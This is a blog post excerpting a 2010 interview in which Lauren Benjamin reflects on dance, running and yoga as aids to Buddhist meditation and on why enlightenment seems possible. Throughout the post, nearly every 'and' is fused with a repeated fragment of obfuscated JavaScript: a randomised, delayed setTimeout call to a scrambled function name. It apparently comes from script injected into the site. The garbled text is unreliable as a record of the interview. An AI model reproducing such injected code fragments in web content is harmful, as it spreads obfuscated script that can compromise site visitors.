Lauren Benjamin Discusses Physical Practice

Tuesday, September 28th, 2010

Alicia Tolbert andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Claire Thompson interviewed Lauren Benjamin.  The following is an excerpt from that interview, where Lauren answers the questions, “Do you have any thoughts about how our lineage is trying to tie in the physical practices, particularly since you have a background in dance?  Has yoga or dance affected your meditation?”

Doing a physical practice works on you in two ways. It works on your mind andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it works on your body. It’s not like the physical practice works on your body andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the meditation practice works on your mind. Meditation practice works on both andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the physical practice works on both because, setting aside strengthening your body andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and being able to sit in meditation, anyone who has done a physical practice whether it’s dance or running or tai chi,  with any kind of consistency knows what it feels like to do what yoga would call “moving the prana” andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and what dance would call “inspiration”, in a way that is exhilarating andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and inspiring.  It brings total joy, just bliss.  That movement, what I called energy before I heard anything about prana, gets energy moving, it frees up breathing, it does all kinds of wonderful things.

When I used to write papers that would drive me crazy, I would go out for a run.  And sometimes they’d be long runs, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and usually whatever the problem was would work itself out by the end of the run, or at least I’d have some kind of idea about how to approach it differently.  So, it works that way.  And then in a way that has just been personally so helpful, dance has taught me about the practice of Buddhism andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the advanced practices, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and what’s necessary.  The fact is that you spend hours andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and days andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and weeks andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and months andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and years andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and every time you begin to dance, you do the same thing.  You start with pliés andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and relevés, you start with the drills, with your very fundamental practice.  That experience in andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and of itself is beautiful, but that is not the point.

The point is to get out into center stage andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and dance.  The point of so much of the study andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and practice that we do, which is very beautiful, is to get happy as Lama Marut would say.  The word I like the best is joyous.  To just be filled with joy andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and to have everybody around you feel like that as well.   That’s the point of the practice.

You can get wonderful support andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and inspiration from doing the foundational andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the basics andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and you can’t discard them, but it goes so much beyond that.  As well, as I get further into the practice, I realize that, to stretch the analogy even more, what I used to call getting out into center stage andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and dancing still had a certain structure andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a certain look.  The point is to be able to do a turn in whatever way you want because you have so fundamentally grounded yourself that you can let go of all the rules about what it’s supposed to look like andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and still dance beautifully in a way that someone who has not had that training couldn’t begin to do.

And that’s why I think that enlightenment has to be possible.  From that side of a person dancing, you couldn’t imagine that a triple turn done mid-air with everything flailing could possibly be done.  You look at some of the things that dancers do andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and you ask, how can they do that?  It’s not possible, the human body is not meant to do that.  Well, with the training andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the inspiration, yeah.  And that’s why I think enlightenment is possible, too.  From this side of it, we don’t really see how.  When I get right down to it, I don’t know what it’s going to look like, but the experience with dance andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and physical practice is in large measure what helps me know that it’s possible.

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